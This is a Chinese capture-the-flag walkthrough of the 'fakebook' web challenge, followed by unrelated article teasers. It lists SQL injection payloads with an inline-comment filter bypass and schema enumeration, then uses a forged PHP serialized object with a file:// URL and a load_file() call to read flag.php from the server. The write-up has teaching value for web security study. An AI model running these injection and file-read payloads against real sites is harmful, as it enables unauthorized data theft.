攻防世界-fakebook

打开题目链接

尝试弱口令登录

失败

 随便注册

点击admin后跳转到下面这个页面

显示的是注册用户信息,观察url发现no=1,猜测存在注入

用单引号测试一下,报错,确实存在SQL注入

使用order by 判断字段数

?no=1 order by 5

5的时候报错,说明有4列

尝试联合查询注入,发现存在过滤

?no=0 union select 1,2,3,4 --+

尝试使用大小写绕过,发现不行

这里要使用内联注释/**/绕过

?no=0 union/**/select 1,2,3,4 --+

可以看到回显位在2

查数据库名:

?no=0 union/**/select 1,database(),3,4 --+

数据库名为fakebook

查该数据库下所有的表名:

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

可以看到存在一个叫uses的表

查该表下的列名信息:

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

我们一般还会对条件进行限制,指定查哪个数据库下的

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'--+

可以看到结果就少了几个

查具体字段信息:

?no=0 union/**/select 1,data,3,4 from fakebook.users --+

是一串序列化后的信息 :

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:8:"zxc.blog";}

name、age、blog为data反序列化值,blog读取成功会返回url值

我们可以通过反序列化来实现ssrf读取任意文件

通过目录扫描

知道flag就在html目录下

即:/var/www/html/flag.php 

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码发现base64编码

解码得到flag

flag{c1e552fdf77049fabf65168f22f7aeab}

这里有一个更简单的方法,由于知道了flag的路径,直接使用load_file()函数进行文件读取:

?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 --+

查看源码,找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/127629.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【全新开源项目】专为智能无人系统打造的边缘实时感知 SDK 库 SpireCV 正式上架

移动机器人的视觉感知系统,以往常用的是诸如OpenCV和一些深度学习的视觉库。然而这类大而全的视觉库,很少针对移动机器人进行优化(尤其是针对无人机),也不会针对硬件进行相关的优化。 机器人尤其是无人机直接使用深度学习库会面临什么问题&am…

十、2023.10.4.计算机网络(one).10

文章目录 1、简述静态路由和动态路由?2、说说有哪些路由协议,都是如何更新的?3、简述域名解析过程,本机如何干预域名解析?4、简述 DNS 查询服务器的基本流程是什么?DNS 劫持是什么?5、简述网关的…

redis的持久化消息队列

Redis Stream Redis Stream 是 Redis 5.0 版本新增加的数据结构。 Redis Stream 主要用于消息队列(MQ,Message Queue),Redis 本身是有一个 Redis 发布订阅 (pub/sub) 来实现消息队列的功能,但它有个缺点就是消息无法…

如何提升爬虫IP使用效率?精打细算的方法分享

在进行爬虫数据采集时,爬虫IP是不可或缺的工具。然而,爬虫IP的费用可能是一个爬虫项目的重要开支之一。为了帮助您节省爬虫IP经费,本文将分享一些经济高效的方法,让您在使用爬虫IP时更加节约成本,提高经济效益。 一、优…

英特尔参与 CentOS Stream 项目

导读红帽官方发布公告欢迎英特尔参与进 CentOS Stream 项目,并表示 “这一举措不仅进一步深化了我们长期的合作关系,也构建在英特尔已经在 Fedora 项目中积极贡献的基础之上。” 目前,CentOS Stream 共包括以下特别兴趣小组(SIG&a…

【单调栈】下一个更大元素 III

文章目录 Tag题目来源题目解读解题思路方法一:下一个排列 写在最后 Tag 【单调栈】【数组】【字符串】 题目来源 556. 下一个更大元素 III 题目解读 找出大于整数的最小整数,这个最小整数必须由原来整数中出现的数字组成。 解题思路 方法一&#xff…

自动化测试 selenium+Junit 总结知识

文章目录 Selenium 自动化测试什么是selenium?selenium的原理是什么?Selenium 自动化测试的流程是什么?Selnium还有一些其他的操作 Selenium 如何定位动态元素? Junit 测试框架注解断言执行顺序测试套件参数化单参数多参数动态参数…

JS-Dom转为图片,并放入pdf中进行下载

1、将dom转换为图片 这里我们使用html2canvas工具插件先将dom转为canvas元素然后canvas拥有一个方法可以将绘制出来的图形转为url然后下载即可注意:如果元素使用了渐变背景并透明的话,生成的图片可能会有点问题。我下面这个案例使用了渐变背景实现元素对…

前端自动化测试入门教程

🪴 背景 前端的自动化测试主要可以分为以下四种: 单元测试(Unit Test):对一个函数/组件进行测试,一般用于公共函数/公共组件的测试维护。常用框架有 Jest、Jasmine、Mocha等; 集成测试&#x…

JMeter数据库性能测试指南:全面掌握基础操作

1.网络请求时间 2.数据库查询的时间 数据库性能指标 TPS:每秒事务数(一秒钟服务器处理的事务数,事务指,请求出去到响应回来的整个过程的时间) QPS:每秒查询量(就是数据库每秒执行的SQL数量,包含insert/…

intel深度相机 D455及D4系列入门教程(逐行代码讲解)

1.介绍 Intel RealSense D435、D455等D4系列: Intel D4系列深度相机是由英特尔(Intel)公司推出的一款深度感知摄像头,专为实现计算机视觉和深度学习应用而设计。这款相机使用了英特尔的深度感知技术,结合了摄像头和红…

vue3+elementPlus el-input的type=“number“时去除右边的上下箭头

改成 代码如下 <script lang"ts" setup> import {ref} from vue const inputBtn ref() </script> <template><el-input type"number" v-model"inputBtn" style"width: 80px;" class"no_number">…